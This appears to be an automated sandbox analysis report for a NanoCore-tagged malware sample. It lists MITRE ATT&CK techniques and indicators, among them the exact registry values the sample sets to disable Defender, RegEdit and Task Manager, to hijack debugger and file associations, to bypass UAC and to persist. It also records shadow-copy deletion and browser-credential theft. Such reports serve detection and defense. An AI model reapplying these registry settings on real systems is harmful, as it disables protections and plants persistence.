nanocore | 035b7b6e8fae9f1c385ec4523f066e1c5f49c6962973dc38503d2a83f872de1a

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	huntervalentine.com_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4596	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	huntervalentine.com_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	huntervalentine.com_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	huntervalentine.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\huntervalentine.com_chrome.exe"	huntervalentine.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	huntervalentine.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\huntervalentine.com_chrome.exe"	huntervalentine.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	huntervalentine.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\huntervalentine.com_chrome.exe"	huntervalentine.com_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
1400	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf	huntervalentine.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	huntervalentine.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf	huntervalentine.com_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\huntervalentine.com_chrome.exe"	huntervalentine.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\huntervalentine.com_chrome.exe"	huntervalentine.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\huntervalentine.com_chrome.exe"	huntervalentine.com_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1952	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	huntervalentine.com_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	huntervalentine.com_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	huntervalentine.com_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4492	wscript.exe
5988	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	huntervalentine.com_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	huntervalentine.com_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4988	sc.exe
4908	sc.exe
5760	sc.exe
1284	sc.exe
2700	sc.exe
5964	sc.exe
5728	sc.exe
472	sc.exe
5688	sc.exe
5156	sc.exe
5436	sc.exe
5724	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3544	cmd.exe
4236	cmd.exe
6008	cmd.exe
980	cmd.exe
388	cmd.exe
4544	cmd.exe
4348	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4764	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
1376	NETSTAT.EXE
3652	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
316	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5456	vssadmin.exe
6080	vssadmin.exe
2916	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\WallpaperStyle = "2"	huntervalentine.com_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134302828548982212"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	huntervalentine.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	huntervalentine.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\huntervalentine.com_chrome.exe\" \"%1\""	huntervalentine.com_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	huntervalentine.com_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	huntervalentine.com_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	huntervalentine.com_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	huntervalentine.com_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	huntervalentine.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	huntervalentine.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	huntervalentine.com_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\DelegateExecute	huntervalentine.com_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	huntervalentine.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	huntervalentine.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	huntervalentine.com_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	huntervalentine.com_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\huntervalentine.com_chrome.exe"	huntervalentine.com_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
760	schtasks.exe
3824	schtasks.exe
1492	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4596	powershell.exe
4596	powershell.exe
5524	chrome.exe
5524	chrome.exe
4596	powershell.exe
4596	powershell.exe
6008	WMIC.exe
6008	WMIC.exe
6008	WMIC.exe
6008	WMIC.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
4840	WMIC.exe
4840	WMIC.exe
4840	WMIC.exe
4840	WMIC.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
5484	WMIC.exe
5484	WMIC.exe
5484	WMIC.exe
5484	WMIC.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe
552	huntervalentine.com_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
552	huntervalentine.com_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4596	powershell.exe
Token: SeShutdownPrivilege	5524	chrome.exe
Token: SeCreatePagefilePrivilege	5524	chrome.exe
Token: SeShutdownPrivilege	5524	chrome.exe
Token: SeCreatePagefilePrivilege	5524	chrome.exe
Token: SeShutdownPrivilege	5524	chrome.exe
Token: SeCreatePagefilePrivilege	5524	chrome.exe
Token: SeShutdownPrivilege	5524	chrome.exe
Token: SeCreatePagefilePrivilege	5524	chrome.exe
Token: SeShutdownPrivilege	5524	chrome.exe
Token: SeCreatePagefilePrivilege	5524	chrome.exe
Token: SeShutdownPrivilege	5524	chrome.exe
Token: SeCreatePagefilePrivilege	5524	chrome.exe
Token: SeIncreaseQuotaPrivilege	6008	WMIC.exe
Token: SeSecurityPrivilege	6008	WMIC.exe
Token: SeTakeOwnershipPrivilege	6008	WMIC.exe
Token: SeLoadDriverPrivilege	6008	WMIC.exe
Token: SeSystemProfilePrivilege	6008	WMIC.exe
Token: SeSystemtimePrivilege	6008	WMIC.exe
Token: SeProfSingleProcessPrivilege	6008	WMIC.exe
Token: SeIncBasePriorityPrivilege	6008	WMIC.exe
Token: SeCreatePagefilePrivilege	6008	WMIC.exe
Token: SeBackupPrivilege	6008	WMIC.exe
Token: SeRestorePrivilege	6008	WMIC.exe
Token: SeShutdownPrivilege	6008	WMIC.exe
Token: SeDebugPrivilege	6008	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6008	WMIC.exe
Token: SeRemoteShutdownPrivilege	6008	WMIC.exe
Token: SeUndockPrivilege	6008	WMIC.exe
Token: SeManageVolumePrivilege	6008	WMIC.exe
Token: 33	6008	WMIC.exe
Token: 34	6008	WMIC.exe
Token: 35	6008	WMIC.exe
Token: 36	6008	WMIC.exe
Token: SeIncreaseQuotaPrivilege	6008	WMIC.exe
Token: SeSecurityPrivilege	6008	WMIC.exe
Token: SeTakeOwnershipPrivilege	6008	WMIC.exe
Token: SeLoadDriverPrivilege	6008	WMIC.exe
Token: SeSystemProfilePrivilege	6008	WMIC.exe
Token: SeSystemtimePrivilege	6008	WMIC.exe
Token: SeProfSingleProcessPrivilege	6008	WMIC.exe
Token: SeIncBasePriorityPrivilege	6008	WMIC.exe
Token: SeCreatePagefilePrivilege	6008	WMIC.exe
Token: SeBackupPrivilege	6008	WMIC.exe
Token: SeRestorePrivilege	6008	WMIC.exe
Token: SeShutdownPrivilege	6008	WMIC.exe
Token: SeDebugPrivilege	6008	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6008	WMIC.exe
Token: SeRemoteShutdownPrivilege	6008	WMIC.exe
Token: SeUndockPrivilege	6008	WMIC.exe
Token: SeManageVolumePrivilege	6008	WMIC.exe
Token: 33	6008	WMIC.exe
Token: 34	6008	WMIC.exe
Token: 35	6008	WMIC.exe
Token: 36	6008	WMIC.exe
Token: SeBackupPrivilege	4456	vssvc.exe
Token: SeRestorePrivilege	4456	vssvc.exe
Token: SeAuditPrivilege	4456	vssvc.exe
Token: SeShutdownPrivilege	5524	chrome.exe
Token: SeCreatePagefilePrivilege	5524	chrome.exe
Token: SeShutdownPrivilege	5524	chrome.exe
Token: SeCreatePagefilePrivilege	5524	chrome.exe
Token: SeShutdownPrivilege	5524	chrome.exe
Token: SeCreatePagefilePrivilege	5524	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe
5524	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
552	huntervalentine.com_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 552 wrote to memory of 5524	552	huntervalentine.com_chrome.exe	89
PID 5524 wrote to memory of 5096	5524	chrome.exe	90
PID 552 wrote to memory of 4596	552	huntervalentine.com_chrome.exe	91
PID 552 wrote to memory of 5688	552	huntervalentine.com_chrome.exe	93
PID 552 wrote to memory of 4988	552	huntervalentine.com_chrome.exe	95
PID 552 wrote to memory of 5156	552	huntervalentine.com_chrome.exe	97
PID 5524 wrote to memory of 4764	5524	chrome.exe	100
PID 5524 wrote to memory of 1448	5524	chrome.exe	101
PID 5524 wrote to memory of 1448	5524	chrome.exe	101
PID 5524 wrote to memory of 5956	5524	chrome.exe	99
PID 5524 wrote to memory of 5956	5524	chrome.exe	99
PID 5524 wrote to memory of 3088	5524	chrome.exe	103
PID 5524 wrote to memory of 3088	5524	chrome.exe	103
PID 5524 wrote to memory of 5480	5524	chrome.exe	104
PID 5524 wrote to memory of 5480	5524	chrome.exe	104
PID 552 wrote to memory of 4908	552	huntervalentine.com_chrome.exe	105
PID 552 wrote to memory of 5760	552	huntervalentine.com_chrome.exe	107
PID 552 wrote to memory of 1284	552	huntervalentine.com_chrome.exe	109
PID 5524 wrote to memory of 1472	5524	chrome.exe	111
PID 5524 wrote to memory of 1472	5524	chrome.exe	111
PID 552 wrote to memory of 2700	552	huntervalentine.com_chrome.exe	112
PID 552 wrote to memory of 5964	552	huntervalentine.com_chrome.exe	185
PID 5524 wrote to memory of 5620	5524	chrome.exe	116
PID 5524 wrote to memory of 5620	5524	chrome.exe	116
